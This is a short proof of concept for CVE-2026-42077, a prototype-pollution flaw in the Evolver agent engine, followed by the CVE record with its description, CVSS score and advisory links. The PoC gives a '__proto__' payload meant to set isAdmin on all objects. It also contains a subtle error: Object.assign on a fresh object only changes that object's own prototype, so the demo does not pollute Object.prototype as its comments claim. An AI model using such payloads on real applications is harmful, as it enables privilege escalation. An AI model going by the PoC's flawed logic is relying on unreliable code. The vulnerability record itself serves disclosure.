CVE-2026-42077

// PoC for CVE-2026-42077: Prototype Pollution in Evolver // Simulating the vulnerable function behavior (e.g., _updateRecord) function vulnerableUpdate(userInput) { let record = {}; // Vulnerable: merging user input without sanitization Object.assign(record, userInput); return record; } // Malicious payload to pollute Object.prototype // The attacker sends this JSON payload to the application var maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}'); // Trigger the vulnerability by updating a record vulnerableUpdate(maliciousPayload); // Verification: Check if the property has been added to all objects if ({}.isAdmin === true) { console.log("[+] Prototype Pollution Successful!"); } else { console.log("[-] Exploit Failed"); }

{"cve": {"id": "CVE-2026-42077", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:24.587", "lastModified": "2026-05-07T15:46:40.943", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3", "source": "[email protected]"}, {"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4", "source": "[email protected]"}, {"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}